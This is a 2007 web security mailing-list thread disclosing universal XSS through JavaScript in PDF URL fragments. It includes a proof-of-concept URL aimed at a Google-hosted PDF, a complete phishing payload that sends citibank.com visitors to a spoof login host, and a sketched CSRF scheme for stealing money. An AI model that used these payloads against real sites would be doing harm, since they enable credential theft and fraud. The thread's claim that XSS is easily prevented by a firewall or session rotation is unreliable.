Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

[Jim Manico <jim () manico net>]

I'm most worried about the CSRF vector.

XSS attacks are easily preventable via a web app firewall, input
validation and/or session ID rotation; and I see a lot of frameworks
(like Drupal 4.7.4+) protect against CSRF via Form Keys and/or rotating
sessions. But I do not see a lot of custom commercial sites implement
solid CSRF protection quite yet.

So I'm thinking, locate a PDF that requires log-in to read; send a URL
to the PDF with a CSRF attack attached (please transfer money to me
swiss bank account), mass mail, the user clicks the link, legally logs
in, the pdf path points the user to the pdf w/ CSRF attached - and then
ouch.

I'm new at this game, but am I thinking along the right path?

- Jim



Jean-Jacques Halans wrote:
> And it makes a great phishing hole too.
> Google for any banking pdf's
> and attach your fake banking site to let the user login to read the
> article.
>
> For example:
> Send out an email pretending to come from Citibank, about a new
> article on Wealth Management, with a link to the real article:
> http://www.citibank.com/privatebank/np_on_wm.pdf#something=javascript:var%20url=%22http://www.citibank.com/privatebank/%22;var%20temp=confirm(%22Dear%20Citibank%20Customer,\n\nPlease%20login%20to%20read%20the%20article.\nAfter%20login%20you%20will%20be%20returned%20to%20the%20article.\n\n%22);var%20url2=%22http://www.somecitibankspoofurl.com/fake_login_page%22;if(temp){document.location=url2}else{document.location=url}
>
> Notice the popup (in firefox) which says: "The page at
> http://www.citibank.com says:"
>
> JJ
>
> On 1/3/07, pdp (architect) <pdp.gnucitizen () googlemail com> wrote:
> > I will be very quick and just point to links where you can read about
> > this issue.
> >
> > It seams that PDF documents can execute JavaScript code for no
> > apparent reason by using the following template:
> >
> >    
> > http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
> >
> >
> > You must understand that the attacker doesn't need to have write
> > access to the specified PDF document. In order to get an XSS vector
> > working you need to have a PDF file hosted on the target and that's
> > all about it. The rest is just a matter of your abilities and desires.
> >
> > This finding was originally mentioned by Sven Vetsch, on his blog.
> > This is a very good and quite interesting. Good work.
> >
> > There is a POC I composed:
> >
> > http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);
> >
> >
> > More on the matter can be found here:
> >
> > http://www.gnucitizen.org/blog/danger-danger-danger/
> > http://www.disenchant.ch/blog/hacking-with-browser-plugins/34
> >
> > -- 
> > pdp (architect) | petko d. petkov
> > http://www.gnucitizen.org
> >
> > ----------------------------------------------------------------------------
> >
> > The Web Security Mailing List:
> > http://www.webappsec.org/lists/websecurity/
> >
> > The Web Security Mailing List Archives:
> > http://www.webappsec.org/lists/websecurity/archive/
> > http://www.webappsec.org/rss/websecurity.rss [RSS Feed]

-- 
Best Regards,
Jim Manico
GIAC GSEC Professional, Sun Certified Java Programmer
jim () manico net
808.652.3805